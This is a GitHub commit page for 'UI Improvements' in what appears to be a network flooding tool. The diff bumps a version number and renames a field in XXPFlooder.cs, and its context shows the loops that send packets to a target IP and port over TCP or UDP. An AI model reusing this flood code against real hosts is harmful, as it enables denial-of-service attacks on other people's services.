Skip to content

Commit

Permalink
UI Improvements
Browse files Browse the repository at this point in the history
  • Loading branch information
NewEraCracker committed Feb 11, 2011
1 parent 6e56129 commit edcbd76
Show file tree
Hide file tree
Showing 3 changed files with 27 additions and 39 deletions.
2 changes: 1 addition & 1 deletion Properties/AssemblyInfo.cs
Original file line number Diff line number Diff line change
Expand Up @@ -11,4 +11,4 @@
[assembly: System.CLSCompliant(true)]
[assembly: ComVisible(false)]

[assembly: AssemblyVersion("1.1.1.22")]
[assembly: AssemblyVersion("1.1.1.23")]
8 changes: 4 additions & 4 deletions XXPFlooder.cs
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,7 @@ public class XXPFlooder
public int Delay;
public bool Resp;
public string Data;
private bool random;
private bool AllowRandom;

public XXPFlooder(string ip, int port, int proto, int delay, bool resp, string data, bool random)
{
Expand All @@ -26,7 +26,7 @@ public XXPFlooder(string ip, int port, int proto, int delay, bool resp, string d
this.Delay = delay;
this.Resp = resp;
this.Data = data;
this.random = random;
this.AllowRandom = random;
}
public void Start()
{
Expand Down Expand Up @@ -58,7 +58,7 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
while (IsFlooding)
{
FloodCount++;
buf = System.Text.Encoding.ASCII.GetBytes(String.Format(Data, ( random ? new Functions().RandomString() : null ) ));
buf = System.Text.Encoding.ASCII.GetBytes(String.Format(Data, (AllowRandom ? new Functions().RandomString() : null) ));
socket.Send(buf);
if (Delay >= 0) System.Threading.Thread.Sleep(Delay+1);
}
Expand All @@ -74,7 +74,7 @@ private void bw_DoWork(object sender, DoWorkEventArgs e)
while (IsFlooding)
{
FloodCount++;
buf = System.Text.Encoding.ASCII.GetBytes(String.Format(Data, ( random ? new Functions().RandomString() : null ) ));
buf = System.Text.Encoding.ASCII.GetBytes(String.Format(Data, (AllowRandom ? new Functions().RandomString() : null) ));
socket.SendTo(buf, SocketFlags.None, RHost);
if (Delay >= 0) System.Threading.Thread.Sleep(Delay+1);
}
Expand Down
56 changes: 22 additions & 34 deletions frmMain.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

0 comments on commit edcbd76

Please sign in to comment.